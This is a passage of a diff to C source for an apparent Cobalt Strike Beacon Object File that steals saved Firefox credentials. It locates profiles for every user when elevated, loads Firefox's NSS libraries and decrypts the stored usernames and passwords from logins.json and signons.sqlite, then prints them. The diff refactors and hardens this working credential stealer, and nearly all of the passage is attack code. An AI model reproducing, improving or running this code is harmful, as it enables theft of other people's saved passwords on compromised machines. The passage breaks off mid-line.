MSVCRT$memset(pathBuf, 0, MAX_PATH); - MSVCRT$strcpy(pathBuf, profilePath); - MSVCRT$strcat(pathBuf, "\\key3.db"); - if (KERNEL32$GetFileAttributesA(pathBuf) != INVALID_FILE_ATTRIBUTES) { + if (BuildPath(pathBuf, sizeof(pathBuf), profilePath, "key3.db") && + KERNEL32$GetFileAttributesA(pathBuf) != INVALID_FILE_ATTRIBUTES) { return PROFILE_KEY3_DB; } @@ -113,17 +144,24 @@ static int DetectKeyDatabase(const char* profilePath) { } static BOOL HasLoginsJson(const char* profilePath) { - char pathBuf[MAX_PATH] = {0}; - MSVCRT$strcpy(pathBuf, profilePath); - MSVCRT$strcat(pathBuf, "\\logins.json"); - return (KERNEL32$GetFileAttributesA(pathBuf) != INVALID_FILE_ATTRIBUTES); + return ProfileHasFile(profilePath, "logins.json"); } static BOOL HasSignonsSqlite(const char* profilePath) { - char pathBuf[MAX_PATH] = {0}; - MSVCRT$strcpy(pathBuf, profilePath); - MSVCRT$strcat(pathBuf, "\\signons.sqlite"); - return (KERNEL32$GetFileAttributesA(pathBuf) != INVALID_FILE_ATTRIBUTES); + return ProfileHasFile(profilePath, "signons.sqlite"); +} + +static void UnloadSQLiteFunctions(void) { + if (hSqlite3) { + KERNEL32$FreeLibrary(hSqlite3); + hSqlite3 = NULL; + } + p_sqlite3_open_v2 = NULL; + p_sqlite3_prepare_v2 = NULL; + p_sqlite3_step = NULL; + p_sqlite3_column_text = NULL; + p_sqlite3_finalize = NULL; + p_sqlite3_close = NULL; } static BOOL LoadSQLiteFunctions(void) { @@ -137,23 +175,15 @@ static BOOL LoadSQLiteFunctions(void) { } p_sqlite3_open_v2 = (sqlite3_open_v2_t)KERNEL32$GetProcAddress(hSqlite3, "sqlite3_open_v2"); - p_sqlite3_errmsg = (sqlite3_errmsg_t)KERNEL32$GetProcAddress(hSqlite3, "sqlite3_errmsg"); p_sqlite3_prepare_v2 = (sqlite3_prepare_v2_t)KERNEL32$GetProcAddress(hSqlite3, "sqlite3_prepare_v2"); p_sqlite3_step = (sqlite3_step_t)KERNEL32$GetProcAddress(hSqlite3, "sqlite3_step"); p_sqlite3_column_text = (sqlite3_column_text_t)KERNEL32$GetProcAddress(hSqlite3, "sqlite3_column_text"); - p_sqlite3_column_int64 = (sqlite3_column_int64_t)KERNEL32$GetProcAddress(hSqlite3, "sqlite3_column_int64"); - p_sqlite3_column_blob = (sqlite3_column_blob_t)KERNEL32$GetProcAddress(hSqlite3, "sqlite3_column_blob"); - p_sqlite3_column_bytes = (sqlite3_column_bytes_t)KERNEL32$GetProcAddress(hSqlite3, "sqlite3_column_bytes"); p_sqlite3_finalize = (sqlite3_finalize_t)KERNEL32$GetProcAddress(hSqlite3, "sqlite3_finalize"); p_sqlite3_close = (sqlite3_close_t)KERNEL32$GetProcAddress(hSqlite3, "sqlite3_close"); - if (!p_sqlite3_open_v2 || !p_sqlite3_errmsg || !p_sqlite3_prepare_v2 || !p_sqlite3_step || - !p_sqlite3_column_text || !p_sqlite3_column_int64 || - !p_sqlite3_column_blob || !p_sqlite3_column_bytes || !p_sqlite3_finalize || !p_sqlite3_close) { - if (hSqlite3) { - KERNEL32$FreeLibrary(hSqlite3); - hSqlite3 = NULL; - } + if (!p_sqlite3_open_v2 || !p_sqlite3_prepare_v2 || !p_sqlite3_step || + !p_sqlite3_column_text || !p_sqlite3_finalize || !p_sqlite3_close) { + UnloadSQLiteFunctions(); return FALSE; } @@ -161,13 +191,8 @@ static BOOL LoadSQLiteFunctions(void) { } static char* FindFirefoxInstallation(void) { - char* firefoxPath = NULL; char nss3Path[MAX_PATH] = {0}; - char searchPath[MAX_PATH] = {0}; - WIN32_FIND_DATAA findData = {0}; - HANDLE hFind = INVALID_HANDLE_VALUE; - - char* possiblePaths[] = { + const char* possiblePaths[] = { "C:\\Program Files\\Mozilla Firefox", "C:\\Program Files (x86)\\Mozilla Firefox", "C:\\Program Files\\Firefox", @@ -175,85 +200,58 @@ static char* FindFirefoxInstallation(void) { "C:\\Program Files\\Mozilla Firefox ESR", "C:\\Program Files (x86)\\Mozilla Firefox ESR" }; - int pathCount = sizeof(possiblePaths) / sizeof(possiblePaths[0]); + int pathCount = (int)(sizeof(possiblePaths) / sizeof(possiblePaths[0])); int i = 0; for (i = 0; i < pathCount; i++) { - MSVCRT$strcpy(nss3Path, possiblePaths[i]); - MSVCRT$strcat(nss3Path, "\\nss3.dll"); - if (KERNEL32$GetFileAttributesA(nss3Path) != INVALID_FILE_ATTRIBUTES) { - firefoxPath = (char*)intAlloc(MSVCRT$strlen(possiblePaths[i]) + 1); + if (BuildPath(nss3Path, sizeof(nss3Path), possiblePaths[i], "nss3.dll") && + KERNEL32$GetFileAttributesA(nss3Path) != INVALID_FILE_ATTRIBUTES) { + size_t pathLength = MSVCRT$strlen(possiblePaths[i]); + char* firefoxPath = (char*)intAlloc(pathLength + 1); if (firefoxPath) { - MSVCRT$strcpy(firefoxPath, possiblePaths[i]); + MSVCRT$memcpy(firefoxPath, possiblePaths[i], pathLength + 1); } return firefoxPath; } } - MSVCRT$strcpy(searchPath, "C:\\Program Files\\Mozilla Firefox*"); - hFind = KERNEL32$FindFirstFileA(searchPath, &findData); - if (hFind != INVALID_HANDLE_VALUE) { - do { - if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { - if (MSVCRT$strcmp(findData.cFileName, ".") != 0 && MSVCRT$strcmp(findData.cFileName, "..") != 0) { - MSVCRT$strcpy(nss3Path, "C:\\Program Files\\"); - MSVCRT$strcat(nss3Path, findData.cFileName); - MSVCRT$strcat(nss3Path, "\\nss3.dll"); - if (KERNEL32$GetFileAttributesA(nss3Path) != INVALID_FILE_ATTRIBUTES) { - MSVCRT$strcpy(nss3Path, "C:\\Program Files\\"); - MSVCRT$strcat(nss3Path, findData.cFileName); - firefoxPath = (char*)intAlloc(MSVCRT$strlen(nss3Path) + 1); - if (firefoxPath) { - MSVCRT$strcpy(firefoxPath, nss3Path); - } - KERNEL32$FindClose(hFind); - return firefoxPath; - } - } - } - } while (KERNEL32$FindNextFileA(hFind, &findData)); - KERNEL32$FindClose(hFind); - } + return NULL; +} - MSVCRT$strcpy(searchPath, "C:\\Program Files (x86)\\Mozilla Firefox*"); - hFind = KERNEL32$FindFirstFileA(searchPath, &findData); - if (hFind != INVALID_HANDLE_VALUE) { - do { - if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { - if (MSVCRT$strcmp(findData.cFileName, ".") != 0 && MSVCRT$strcmp(findData.cFileName, "..") != 0) { - MSVCRT$strcpy(nss3Path, "C:\\Program Files (x86)\\"); - MSVCRT$strcat(nss3Path, findData.cFileName); - MSVCRT$strcat(nss3Path, "\\nss3.dll"); - if (KERNEL32$GetFileAttributesA(nss3Path) != INVALID_FILE_ATTRIBUTES) { - MSVCRT$strcpy(nss3Path, "C:\\Program Files (x86)\\"); - MSVCRT$strcat(nss3Path, findData.cFileName); - firefoxPath = (char*)intAlloc(MSVCRT$strlen(nss3Path) + 1); - if (firefoxPath) { - MSVCRT$strcpy(firefoxPath, nss3Path); - } - KERNEL32$FindClose(hFind); - return firefoxPath; - } - } - } - } while (KERNEL32$FindNextFileA(hFind, &findData)); - KERNEL32$FindClose(hFind); +static void UnloadNSSLibraries(void) { + int i; + + if (nssInitialized) { + return; } - return NULL; + if (hNss3) { + KERNEL32$FreeLibrary(hNss3); + hNss3 = NULL; + } + for (i = nssDependencyCount - 1; i >= 0; i--) { + if (nssDependencies[i]) { + KERNEL32$FreeLibrary(nssDependencies[i]); + nssDependencies[i] = NULL; + } + } + nssDependencyCount = 0; + hNssUtil3 = NULL; + p_NSS_Init = NULL; + p_NSS_Shutdown = NULL; + p_PK11SDR_Decrypt = NULL; + p_SECITEM_FreeItem = NULL; } static BOOL LoadNSSLibraries(const char* firefoxPath) { char dllPath[MAX_PATH] = {0}; - HMODULE hNss3Temp = NULL; - HMODULE hLoaded = NULL; int i = 0; if (!firefoxPath) { return FALSE; } - char* dependencies[] = { + const char* dependencies[] = { "mozglue.dll", "nssutil3.dll", "nspr4.dll", @@ -264,53 +262,87 @@ static BOOL LoadNSSLibraries(const char* firefoxPath) { }; for (i = 0; i < (int)(sizeof(dependencies) / sizeof(dependencies[0])); i++) { - MSVCRT$strcpy(dllPath, firefoxPath); - MSVCRT$strcat(dllPath, "\\"); - MSVCRT$strcat(dllPath, dependencies[i]); - hLoaded = KERNEL32$LoadLibraryA(dllPath); - (void)hLoaded; - } + HMODULE loaded; - MSVCRT$strcpy(dllPath, firefoxPath); - MSVCRT$strcat(dllPath, "\\nss3.dll"); + if (!BuildPath(dllPath, sizeof(dllPath), firefoxPath, dependencies[i])) { + UnloadNSSLibraries(); + return FALSE; + } + loaded = KERNEL32$LoadLibraryA(dllPath); + if (loaded) { + nssDependencies[nssDependencyCount] = loaded; + nssDependencyCount++; + if (i == 1) { + hNssUtil3 = loaded; + } + } + } - hNss3Temp = KERNEL32$LoadLibraryA(dllPath); - if (!hNss3Temp) { + if (!BuildPath(dllPath, sizeof(dllPath), firefoxPath, "nss3.dll")) { + UnloadNSSLibraries(); return FALSE; } - - if (hNss3) { - KERNEL32$FreeLibrary(hNss3); + hNss3 = KERNEL32$LoadLibraryA(dllPath); + if (!hNss3) { + UnloadNSSLibraries(); + return FALSE; + } + if (!hNssUtil3) { + hNssUtil3 = KERNEL32$GetModuleHandleA("nssutil3.dll"); } - - hNss3 = hNss3Temp; p_NSS_Init = (NSS_Init_t)KERNEL32$GetProcAddress(hNss3, "NSS_Init"); - p_NSS_InitReadWrite = (NSS_InitReadWrite_t)KERNEL32$GetProcAddress(hNss3, "NSS_InitReadWrite"); p_NSS_Shutdown = (NSS_Shutdown_t)KERNEL32$GetProcAddress(hNss3, "NSS_Shutdown"); p_PK11SDR_Decrypt = (PK11SDR_Decrypt_t)KERNEL32$GetProcAddress(hNss3, "PK11SDR_Decrypt"); + p_SECITEM_FreeItem = (SECITEM_FreeItem_t)KERNEL32$GetProcAddress(hNss3, "SECITEM_ZfreeItem"); + if (!p_SECITEM_FreeItem && hNssUtil3) { + p_SECITEM_FreeItem = (SECITEM_FreeItem_t)KERNEL32$GetProcAddress(hNssUtil3, "SECITEM_ZfreeItem"); + } + if (!p_SECITEM_FreeItem) { + p_SECITEM_FreeItem = (SECITEM_FreeItem_t)KERNEL32$GetProcAddress(hNss3, "SECITEM_FreeItem"); + } + if (!p_SECITEM_FreeItem && hNssUtil3) { + p_SECITEM_FreeItem = (SECITEM_FreeItem_t)KERNEL32$GetProcAddress(hNssUtil3, "SECITEM_FreeItem"); + } - if ((!p_NSS_Init && !p_NSS_InitReadWrite) || !p_NSS_Shutdown || !p_PK11SDR_Decrypt) { - if (hNss3) { - KERNEL32$FreeLibrary(hNss3); - hNss3 = NULL; - } + if (!p_NSS_Init || !p_NSS_Shutdown || !p_PK11SDR_Decrypt || !p_SECITEM_FreeItem) { + UnloadNSSLibraries(); return FALSE; } return TRUE; } -static BOOL InitializeNSS(const char* profilePath) { +static BOOL ShutdownNSS(void) { + if (!nssInitialized) { + return TRUE; + } + if (!p_NSS_Shutdown || p_NSS_Shutdown() != 0) { + return FALSE; + } + nssInitialized = FALSE; + return TRUE; +} + +static BOOL InitializeNSS(const char* profilePath, int keyType) { char* firefoxPath = NULL; + char configPath[MAX_PATH + 5] = {0}; + const char* prefix = keyType == PROFILE_KEY4_DB ? "sql:" : "dbm:"; + size_t prefixLength = MSVCRT$strlen(prefix); + size_t profileLength = MSVCRT$strlen(profilePath); int result = 0; - if (nssInitialized && p_NSS_Shutdown) { - p_NSS_Shutdown(); - nssInitialized = FALSE; + if (keyType != PROFILE_KEY3_DB && keyType != PROFILE_KEY4_DB) { + return FALSE; + } + if (nssInitialized && !ShutdownNSS()) { + return FALSE; + } + if (prefixLength + profileLength + 1 > sizeof(configPath)) { + return FALSE; } - if (!hNss3 || (!p_NSS_Init && !p_NSS_InitReadWrite) || !p_PK11SDR_Decrypt) { + if (!hNss3 || !p_NSS_Init || !p_PK11SDR_Decrypt || !p_SECITEM_FreeItem) { firefoxPath = FindFirefoxInstallation(); if (!firefoxPath) { return FALSE; @@ -324,23 +356,15 @@ static BOOL InitializeNSS(const char* profilePath) { if (firefoxPath) intFree(firefoxPath); } - if (p_NSS_InitReadWrite) { - result = p_NSS_InitReadWrite(profilePath); - if (result == 0) { - nssInitialized = TRUE; - return TRUE; - } - } - - if (p_NSS_Init) { - result = p_NSS_Init(profilePath); - nssInitialized = (result == 0); - } + MSVCRT$memcpy(configPath, prefix, prefixLength); + MSVCRT$memcpy(configPath + prefixLength, profilePath, profileLength + 1); + result = p_NSS_Init(configPath); + nssInitialized = (result == 0); return nssInitialized; } -static BOOL DecryptWithNSS(const char* base64Encrypted, char** decrypted) { +static BOOL DecryptWithNSS(const char* base64Encrypted, DWORD encryptedLen, char** decrypted) { BYTE* pbEncrypted = NULL; DWORD dwEncrypted = 0; TSECItem data = {0}; @@ -348,11 +372,13 @@ static BOOL DecryptWithNSS(const char* base64Encrypted, char** decrypted) { char* pszResult = NULL; BOOL bResult = FALSE; - if (!nssInitialized || !p_PK11SDR_Decrypt) { + if (!base64Encrypted || encryptedLen == 0 || !decrypted || + !nssInitialized || !p_PK11SDR_Decrypt || !p_SECITEM_FreeItem) { return FALSE; } + *decrypted = NULL; - pbEncrypted = Base64Decode(base64Encrypted, (DWORD)MSVCRT$strlen(base64Encrypted), &dwEncrypted); + pbEncrypted = Base64Decode(base64Encrypted, encryptedLen, &dwEncrypted); if (!pbEncrypted || dwEncrypted == 0) { return FALSE; } @@ -375,6 +401,12 @@ static BOOL DecryptWithNSS(const char* base64Encrypted, char** decrypted) { } } + if (result.data) { + if (result.len > 0) { + MSVCRT$memset(result.data, 0, result.len); + } + p_SECITEM_FreeItem(&result, FALSE); + } intFree(pbEncrypted); return bResult; } @@ -393,12 +425,12 @@ static BOOL ReadFileFromDisk(const char* filePath, BYTE** buffer, DWORD* size) { } *size = KERNEL32$GetFileSize(hFile, NULL); - if (*size == INVALID_FILE_SIZE || *size == 0) { + if (*size == INVALID_FILE_SIZE || *size == 0 || *size > MAX_LOGINS_JSON_BYTES) { KERNEL32$CloseHandle(hFile); return FALSE; } - *buffer = (BYTE*)intAlloc(*size); + *buffer = (BYTE*)intAlloc((SIZE_T)*size + 1); if (!*buffer) { KERNEL32$CloseHandle(hFile); return FALSE; @@ -412,25 +444,23 @@ static BOOL ReadFileFromDisk(const char* filePath, BYTE** buffer, DWORD* size) { return FALSE; } + (*buffer)[*size] = '\0'; KERNEL32$CloseHandle(hFile); return TRUE; } static BOOL FindFirefoxProfilesForUser(const char* userAppDataPath) { + char profilesPath[MAX_PATH] = {0}; char searchPath[MAX_PATH] = {0}; WIN32_FIND_DATAA findData = {0}; HANDLE hFind = INVALID_HANDLE_VALUE; BOOL found = FALSE; - if (MSVCRT$strlen(userAppDataPath) + MSVCRT$strlen(FIREFOX_BASE_PATH) + 20 >= sizeof(searchPath)) { + if (!BuildPath(profilesPath, sizeof(profilesPath), userAppDataPath, FIREFOX_BASE_PATH) || + !BuildPath(searchPath, sizeof(searchPath), profilesPath, "*")) { return FALSE; } - MSVCRT$strcpy(searchPath, userAppDataPath); - MSVCRT$strcat(searchPath, "\\"); - MSVCRT$strcat(searchPath, FIREFOX_BASE_PATH); - MSVCRT$strcat(searchPath, "\\*"); - hFind = KERNEL32$FindFirstFileA(searchPath, &findData); if (hFind == INVALID_HANDLE_VALUE) { return FALSE; @@ -440,13 +470,11 @@ static BOOL FindFirefoxProfilesForUser(const char* userAppDataPath) { if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (MSVCRT$strcmp(findData.cFileName, ".") != 0 && MSVCRT$strcmp(findData.cFileName, "..") != 0) { if (profileCount < MAX_PROFILES) { - MSVCRT$strcpy(profilePaths[profileCount], userAppDataPath); - MSVCRT$strcat(profilePaths[profileCount], "\\"); - MSVCRT$strcat(profilePaths[profileCount], FIREFOX_BASE_PATH); - MSVCRT$strcat(profilePaths[profileCount], "\\"); - MSVCRT$strcat(profilePaths[profileCount], findData.cFileName); - profileCount++; - found = TRUE; + if (BuildPath(profilePaths[profileCount], sizeof(profilePaths[profileCount]), + profilesPath, findData.cFileName)) { + profileCount++; + found = TRUE; + } } } } @@ -469,7 +497,7 @@ static BOOL FindAllFirefoxProfiles(void) { profileCount = 0; - isAdmin = BeaconIsAdmin(); + isAdmin = IsProcessElevated(); typedef DWORD (WINAPI *GetEnvironmentVariableA_t)(LPCSTR lpName, LPSTR lpBuffer, DWORD nSize); HMODULE hKernel32 = (HMODULE)KERNEL32$GetModuleHandleA("kernel32.dll"); @@ -480,7 +508,8 @@ static BOOL FindAllFirefoxProfiles(void) { if (pGetEnvironmentVariableA) { char username[64] = {0}; - if (pGetEnvironmentVariableA("USERNAME", username, sizeof(username)) > 0) { + DWORD usernameLength = pGetEnvironmentVariableA("USERNAME", username, sizeof(username)); + if (usernameLength > 0 && usernameLength < sizeof(username)) { if (MSVCRT$_stricmp(username, "SYSTEM") == 0) { isSystem = TRUE; } @@ -489,8 +518,9 @@ static BOOL FindAllFirefoxProfiles(void) { if (isSystem || isAdmin) { char searchPath[MAX_PATH] = {0}; - MSVCRT$strcpy(searchPath, usersPath); - MSVCRT$strcat(searchPath, "\\*"); + if (!BuildPath(searchPath, sizeof(searchPath), usersPath, "*")) { + return FALSE; + } hFind = KERNEL32$FindFirstFileA(searchPath, &findData); if (hFind == INVALID_HANDLE_VALUE) { @@ -512,13 +542,12 @@ static BOOL FindAllFirefoxProfiles(void) { continue; } - MSVCRT$strcpy(userPath, usersPath); - MSVCRT$strcat(userPath, "\\"); - MSVCRT$strcat(userPath, findData.cFileName); - MSVCRT$strcat(userPath, "\\AppData\\Roaming"); + if (!BuildPath(userPath, sizeof(userPath), usersPath, findData.cFileName) || + !BuildPath(userAppDataPath, sizeof(userAppDataPath), userPath, "AppData\\Roaming")) { + continue; + } - if (KERNEL32$GetFileAttributesA(userPath) != INVALID_FILE_ATTRIBUTES) { - MSVCRT$strcpy(userAppDataPath, userPath); + if (KERNEL32$GetFileAttributesA(userAppDataPath) != INVALID_FILE_ATTRIBUTES) { if (FindFirefoxProfilesForUser(userAppDataPath)) { found = TRUE; } @@ -564,7 +593,7 @@ static BYTE* Base64Decode(const char* input, DWORD inputLen, DWORD* outputLen) { return pbOutput; } -static BOOL DecryptFirefoxSecret(const char* pszBase64Encrypted, char** ppszDecrypted, const char* profilePath) { +static BOOL DecryptFirefoxSecret(const char* pszBase64Encrypted, DWORD encryptedLen, char** ppszDecrypted) { char* pszResult = NULL; if (!pszBase64Encrypted || !ppszDecrypted) { @@ -574,7 +603,7 @@ static BOOL DecryptFirefoxSecret(const char* pszBase64Encrypted, char** ppszDecr *ppszDecrypted = NULL; if (nssInitialized && p_PK11SDR_Decrypt) { - if (DecryptWithNSS(pszBase64Encrypted, &pszResult)) { + if (DecryptWithNSS(pszBase64Encrypted, encryptedLen, &pszResult)) { *ppszDecrypted = pszResult; return TRUE; } @@ -583,65 +612,114 @@ static BOOL DecryptFirefoxSecret(const char* pszBase64Encrypted, char** ppszDecr return FALSE; } -static char* FindJsonStringValue(const char* json, DWORD jsonLen, const char* key, DWORD* valueLen) { - char searchKey[256] = {0}; - const char* jsonEnd = NULL; - const char* keyStart = NULL; - const char* valueStart = NULL; - const char* valueEnd = NULL; - DWORD keyLen = 0; +static const char* FindJsonPropertyValue(const char* json, DWORD jsonLen, const char* key) { + size_t index = 0; + size_t keyLen; + int objectDepth = 0; - if (!json || !key || !valueLen) { + if (!json || !key) { return NULL; } - *valueLen = 0; - jsonEnd = json + jsonLen; + keyLen = MSVCRT$strlen(key); + if (keyLen == 0 || keyLen > jsonLen) { + return NULL; + } - MSVCRT$sprintf(searchKey, "\"%s\"", key); - keyLen = (DWORD)MSVCRT$strlen(searchKey); + while (index < jsonLen) { + size_t tokenStart; + size_t tokenLen; + size_t separator; + BOOL escaped = FALSE; - keyStart = json; - while (keyStart < jsonEnd - keyLen) { - keyStart = (const char*)MSVCRT$memchr(keyStart, '"', jsonEnd - keyStart); - if (!keyStart) { - return NULL; + if (json[index] == '{') { + objectDepth++; + index++; + continue; } - - if (MSVCRT$_strnicmp(keyStart, searchKey, keyLen) == 0) { - break; + if (json[index] == '}') { + if (objectDepth > 0) { + objectDepth--; + } + index++; + continue; + } + if (json[index] != '"') { + index++; + continue; } - keyStart++; - } + tokenStart = ++index; + while (index < jsonLen) { + if (json[index] == '"' && !escaped) { + break; + } + if (json[index] == '\\' && !escaped) { + escaped = TRUE; + } else { + escaped = FALSE; + } + index++; + } + if (index >= jsonLen) { + return NULL; + } - if (!keyStart || keyStart >= jsonEnd - keyLen) { - return NULL; + tokenLen = index - tokenStart; + separator = ++index; + while (separator < jsonLen && + (json[separator] == ' ' || json[separator] == '\t' || + json[separator] == '\n' || json[separator] == '\r')) { + separator++; + } + if (objectDepth == 1 && tokenLen == keyLen && + MSVCRT$memcmp(json + tokenStart, key, keyLen) == 0 && + separator < jsonLen && json[separator] == ':') { + separator++; + while (separator < jsonLen && + (json[separator] == ' ' || json[separator] == '\t' || + json[separator] == '\n' || json[separator] == '\r')) { + separator++; + } + if (separator < jsonLen) { + return json + separator; + } + return NULL; + } } - keyStart += keyLen; + return NULL; +} - while (keyStart < jsonEnd && (*keyStart == ' ' || *keyStart == '\t' || *keyStart == '\n' || *keyStart == '\r')) { - keyStart++; - } +static char* FindJsonStringValue(const char* json, DWORD jsonLen, const char* key, DWORD* valueLen) { + const char* jsonEnd = NULL; + const char* valueStart = NULL; + const char* valueEnd = NULL; + BOOL escaped = FALSE; - if (keyStart >= jsonEnd || *keyStart != ':') { + if (!json || !key || !valueLen) { return NULL; } - keyStart++; - - while (keyStart < jsonEnd && (*keyStart == ' ' || *keyStart == '\t' || *keyStart == '\n' || *keyStart == '\r')) { - keyStart++; - } - - if (keyStart >= jsonEnd || *keyStart != '"') { + *valueLen = 0; + jsonEnd = json + jsonLen; + valueStart = FindJsonPropertyValue(json, jsonLen, key); + if (!valueStart || valueStart >= jsonEnd || *valueStart != '"') { return NULL; } - valueStart = keyStart + 1; - valueEnd = (const char*)MSVCRT$memchr(valueStart, '"', jsonEnd - valueStart); - if (!valueEnd || valueEnd >= jsonEnd) { + valueStart++; + for (valueEnd = valueStart; valueEnd < jsonEnd; valueEnd++) { + if (*valueEnd == '"' && !escaped) { + break; + } + if (*valueEnd == '\\' && !escaped) { + escaped = TRUE; + } else { + escaped = FALSE; + } + } + if (valueEnd >= jsonEnd) { return NULL; } @@ -650,13 +728,12 @@ static char* FindJsonStringValue(const char* json, DWORD jsonLen, const char* ke } static char* FindJsonArrayValue(const char* json, DWORD jsonLen, const char* key, DWORD* arrayLen) { - char searchKey[256] = {0}; const char* jsonEnd = NULL; - const char* keyStart = NULL; const char* arrayStart = NULL; const char* arrayEnd = NULL; - DWORD keyLen = 0; int bracketCount = 0; + BOOL inString = FALSE; + BOOL escaped = FALSE; if (!json || !key || !arrayLen) { return NULL; @@ -664,54 +741,28 @@ static char* FindJsonArrayValue(const char* json, DWORD jsonLen, const char* key *arrayLen = 0; jsonEnd = json + jsonLen; - - MSVCRT$sprintf(searchKey, "\"%s\"", key); - keyLen = (DWORD)MSVCRT$strlen(searchKey); - - keyStart = json; - while (keyStart < jsonEnd - keyLen) { - keyStart = (const char*)MSVCRT$memchr(keyStart, '"', jsonEnd - keyStart); - if (!keyStart) { - return NULL; - } - - if (MSVCRT$_strnicmp(keyStart, searchKey, keyLen) == 0) { - break; - } - - keyStart++; - } - - if (!keyStart || keyStart >= jsonEnd - keyLen) { - return NULL; - } - - keyStart += keyLen; - - while (keyStart < jsonEnd && (*keyStart == ' ' || *keyStart == '\t' || *keyStart == '\n' || *keyStart == '\r')) { - keyStart++; - } - - if (keyStart >= jsonEnd || *keyStart != ':') { + arrayStart = FindJsonPropertyValue(json, jsonLen, key); + if (!arrayStart || arrayStart >= jsonEnd || *arrayStart != '[') { return NULL; } - keyStart++; - - while (keyStart < jsonEnd && (*keyStart == ' ' || *keyStart == '\t' || *keyStart == '\n' || *keyStart == '\r')) { - keyStart++; - } - - if (keyStart >= jsonEnd || *keyStart != '[') { - return NULL; - } - - arrayStart = keyStart + 1; + arrayStart++; arrayEnd = arrayStart; bracketCount = 1; while (arrayEnd < jsonEnd && bracketCount > 0) { - if (*arrayEnd == '[') { + if (inString) { + if (*arrayEnd == '"' && !escaped) { + inString = FALSE; + } + if (*arrayEnd == '\\' && !escaped) { + escaped = TRUE; + } else { + escaped = FALSE; + } + } else if (*arrayEnd == '"') { + inString = TRUE; + } else if (*arrayEnd == '[') { bracketCount++; } else if (*arrayEnd == ']') { bracketCount--; @@ -729,12 +780,69 @@ static char* FindJsonArrayValue(const char* json, DWORD jsonLen, const char* key return (char*)arrayStart; } -static void DecryptAndPrint(const char* label, const char* encrypted, DWORD encLen, const char* profilePath, BOOL nssReady) { +static BOOL FindNextJsonObject( + const char* json, + DWORD jsonLen, + const char** objectStart, + DWORD* objectLen +) { + const char* cursor; + const char* jsonEnd; + const char* start = NULL; + int braceCount = 0; + BOOL inString = FALSE; + BOOL escaped = FALSE; + + if (!json || !objectStart || !objectLen) { + return FALSE; + } + + *objectStart = NULL; + *objectLen = 0; + jsonEnd = json + jsonLen; + + for (cursor = json; cursor < jsonEnd; cursor++) { + if (inString) { + if (*cursor == '"' && !escaped) { + inString = FALSE; + } + if (*cursor == '\\' && !escaped) { + escaped = TRUE; + } else { + escaped = FALSE; + } + continue; + } + + if (*cursor == '"') { + inString = TRUE; + } else if (*cursor == '{') { + if (braceCount == 0) { + start = cursor; + } + braceCount++; + } else if (*cursor == '}' && braceCount > 0) { + braceCount--; + if (braceCount == 0) { + *objectStart = start; + *objectLen = (DWORD)(cursor - start + 1); + return TRUE; + } + } + } + + return FALSE; +} + +static void DecryptAndPrint(const char* label, const char* encrypted, DWORD encLen, BOOL nssReady) { char* decrypted = NULL; - if (nssReady && DecryptFirefoxSecret(encrypted, &decrypted, profilePath)) { + if (nssReady && DecryptFirefoxSecret(encrypted, encLen, &decrypted)) { SafeAppend(" | %s: %s", label, decrypted); - if (decrypted) intFree(decrypted); + if (decrypted) { + MSVCRT$memset(decrypted, 0, MSVCRT$strlen(decrypted)); + intFree(decrypted); + } } else { char tmp[256] = {0}; int copyLen = encLen < 255 ? encLen : 255; @@ -744,7 +852,7 @@ static void DecryptAndPrint(const char* label, const char* encrypted, DWORD encL } } -static BOOL ExtractPasswordsFromLoginsJson(const char* loginsJsonPath, const char* profilePath, BOOL nssReady) { +static BOOL ExtractPasswordsFromLoginsJson(const char* loginsJsonPath, BOOL nssReady) { BYTE* fileContent = NULL; DWORD fileSize = 0; int count = 0; @@ -769,32 +877,34 @@ static BOOL ExtractPasswordsFromLoginsJson(const char* loginsJsonPath, const cha cursor = loginsArray; while (count < MAX_ENTRIES_PER_TYPE && cursor < loginsArray + loginsArrayLen) { - const char* hostnamePos = MSVCRT$strstr(cursor, "\"hostname\""); - if (!hostnamePos || hostnamePos >= loginsArray + loginsArrayLen) { - break; - } - - DWORD remaining = (DWORD)(loginsArrayLen - (hostnamePos - loginsArray)); + DWORD cursorRemaining = (DWORD)(loginsArrayLen - (cursor - loginsArray)); + const char* objectStart = NULL; + DWORD objectLen = 0; DWORD hostnameLen = 0; DWORD usernameLen = 0; DWORD passwordLen = 0; + char* hostname; + char* username; + char* password; - char* hostname = FindJsonStringValue(hostnamePos, remaining, "hostname", &hostnameLen); + if (!FindNextJsonObject(cursor, cursorRemaining, &objectStart, &objectLen)) { + break; + } + cursor = objectStart + objectLen; + + hostname = FindJsonStringValue(objectStart, objectLen, "hostname", &hostnameLen); if (!hostname || hostnameLen == 0) { - cursor = hostnamePos + 1; continue; } - char* username = FindJsonStringValue(hostnamePos, remaining, "encryptedUsername", &usernameLen); - char* password = FindJsonStringValue(hostnamePos, remaining, "encryptedPassword", &passwordLen); + username = FindJsonStringValue(objectStart, objectLen, "encryptedUsername", &usernameLen); + password = FindJsonStringValue(objectStart, objectLen, "encryptedPassword", &passwordLen); if (!username || usernameLen == 0) { - cursor = hostnamePos + 1; continue; } if (!password || passwordLen == 0) { - cursor = hostnamePos + 1; continue; } @@ -804,12 +914,11 @@ static BOOL ExtractPasswordsFromLoginsJson(const char* loginsJsonPath, const cha hostnameStr[copyLen] = '\0'; SafeAppend("URL: %s", hostnameStr); - DecryptAndPrint("Username", username, usernameLen, profilePath, nssReady); - DecryptAndPrint("Password", password, passwordLen, profilePath, nssReady); + DecryptAndPrint("Username", username, usernameLen, nssReady); + DecryptAndPrint("Password", password, passwordLen, nssReady); SafeAppend("\n"); count++; - cursor = hostnamePos + 1; } if (count == 0) { @@ -834,12 +943,15 @@ static BOOL ExtractPasswordsFromSignonsSqlite(const char* profilePath, BOOL nssR return FALSE; } - MSVCRT$strcpy(dbPath, profilePath); - MSVCRT$strcat(dbPath, "\\signons.sqlite"); + if (!BuildPath(dbPath, sizeof(dbPath), profilePath, "signons.sqlite")) { + SafeAppend("[!] Profile path is too long for signons.sqlite\n"); + return FALSE; + } result = p_sqlite3_open_v2(dbPath, &db, SQLITE_OPEN_READONLY, NULL); if (result != SQLITE_OK) { SafeAppend("[!] Failed to open signons.sqlite\n"); + if (db) p_sqlite3_close(db); return FALSE; } @@ -859,10 +971,10 @@ static BOOL ExtractPasswordsFromSignonsSqlite(const char* profilePath, BOOL nssR SafeAppend("URL: %s", hostname ? hostname : ""); if (username && MSVCRT$strlen(username) > 0) { - DecryptAndPrint("Username", username, (DWORD)MSVCRT$strlen(username), profilePath, nssReady); + DecryptAndPrint("Username", username, 